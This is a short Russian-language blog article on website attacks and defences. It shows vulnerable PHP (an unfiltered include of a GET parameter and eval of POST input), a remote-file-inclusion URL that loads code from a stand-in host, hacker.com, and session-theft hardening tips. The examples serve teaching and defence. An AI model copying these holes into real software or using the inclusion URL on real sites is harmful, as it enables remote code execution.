защита сайта

Атаки на сайт и способы защиты

В этой статье рассмотрим распространенные атаки на сайт и способы защиты от них.

Инъекция исполняемого кода

В php есть несколько функций с ‘дырками’ в безопасности: include, require, include_once, require_once, create_function. И на множестве сайтов с применением этих функций, админы забывают фильтровать входящие данные. Пример:

$module = $_GET['module'];
include $module. '.php'; //нет фильтрации входящих данных

Тогда сама уязвимость, т.е. в адресную строку можно передать все, что угодно:

http://site.ru/index.php?module=http://hacker.com/inc

При написании кода, программисты делают ‘служебные вставки’, пример:

if (!_debug) authorizeUser();

Не рекомендую также использовать функцию eval:

eval($_POST['sys_call']);

Защита от атак

  • Любая ошибка (исключение) должна быть обработана и протоколирована.
  • Отключите вывод ошибки пользователю.
  • Используйте модульное приложение с центральным механизмом обработки ошибок (исключений).

Раскрытие данных сессий

В одной из прошлых статей писал, что можно с помощью java-скрипта украсть чужую сессию и действовать от имени жертвы.

Для защиты советую:

  • Никогда не использовать сессию без cookie.
  • Не программируйте свой механизм создания сессий.
  • Используйте куки httpOnly (получение куки только по http запросу).
  • Явное завершение сессии, нопка ‘выйти’ на сайте.
  • Регулярно очищайте хранилище сессий.
  • Храните сессионные данные за пределами ‘видимости’ сервера.
  • Не передавать идентификаторы сессий в открытом виде.



Добавить комментарий

Ваш e-mail не будет опубликован.